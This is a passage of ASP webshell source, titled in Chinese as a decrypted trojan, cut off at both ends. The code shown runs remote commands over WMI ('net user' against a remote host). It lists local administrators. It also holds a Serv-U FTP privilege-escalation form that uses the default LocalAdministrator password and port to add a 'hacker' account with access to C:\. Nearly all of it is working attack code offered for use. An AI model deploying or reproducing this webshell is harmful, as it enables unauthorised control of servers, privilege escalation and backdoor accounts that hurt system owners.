asp木马代码解密的随机加密webshell

ont color=#FF0000> "&obj.path&"</font></td></tr>"
else
SI2=SI2&"<tr><td height=""20"" bgcolor=""#FFFFFF""> "&obj.Name&"</td><td height=""20"" bgcolor=""#FFFFFF""> "&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font color=#3399FF> "&obj.path&"</font></td></tr>"
end if
next
RRS SI&SI0&SI1&SI2&"</table>"
End Function

Function wmi()
SI="<br><table width=''80%'' bgcolor=''menu'' border=''0'' cellspacing=''1'' cellpadding=''0'' align=''center''>"
RRS "<form name=""form1"" method=""post"" action=""?Action=wmi"">"
RRS " 远程执行命令"
RRS "<input name=""xd"" type=""text"" id=""xd"" value="""192.168.0.1","root/cimv2","hacker$","hacker""" size=""70"">"
RRS " <input type=""submit"" name=""Submit"" value=""提交"">"
RRS "</form>"
if request("xd")<>"" then
set ww=server.createobject("wbemscripting.swbemlocator")
set cc=ww.connectserver(request("xd"))
set ss=cc.get("Win32_ProcessStartup")
Set oC=ss.SpawnInstance_
oC.ShowWindow=12
Set pp=cc.get("Win32_Process")
Response.Write pp.create("net user",null,oC,intProcessID)
Response.Write "<br>"&intProcessID
Response.end
end if
End Function

Function adminab()
Response.Expires=0
on error resume next ''查找Administrators组帐号
Set tN=server.createObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "好像不行啊:Wscript.Network"
end if
End Function

Function suftp()
if server.URLEncode("幽月")<>"%D3%C4%D4%C2" then response.end
rrs"<p><center>Serv-U FTP权程序--通杀版<br><br>IP连接说明:<br>服务器IP:0.0.0.0代表任何IP都可以连接<br>如果0.0.0.0不成功就修改成此 IP:"&Request.ServerVariables("LOCAL_ADDR")&"<br>如果再不成功就代表 Serv-u密码被改</p>"
rrs"<form name=''form1'' method=''post'' action=''''>"
rrs"<center>服务器IP:<input name=''serip'' type=''text'' class=''TextBox'' id=''duser'' value=''0.0.0.0''><br>"
rrs"<center>管理员:<input name=''duser'' type=''text'' class=''TextBox'' id=''duser'' value=''LocalAdministrator''><br>"
rrs"<center>管理员密码 :<input name=''dpwd'' type=''text'' class=''TextBox'' id=''dpwd'' value=''#l@$ak#.lk;0@P''><br>"
rrs"<center>SERV-U端口:<input name=''dport'' type=''text'' class=''TextBox'' id=''dport'' value=''43958''><br>"
rrs"<center>添加的用户名:<input name=''tuser'' type=''text'' class=''TextBox'' id=''tuser'' value=''hacker''><br>"
rrs"<center>添加的用户密码:<input name=''tpass'' type=''text'' class=''TextBox'' id=''pass'' value=''hacker''><br>"
rrs"<center>帐号的所对的路径:<input name=''tpath'' type=''text'' class=''TextBox'' id=''tpath'' value=''C:\''><br>"
rrs"<center>服务端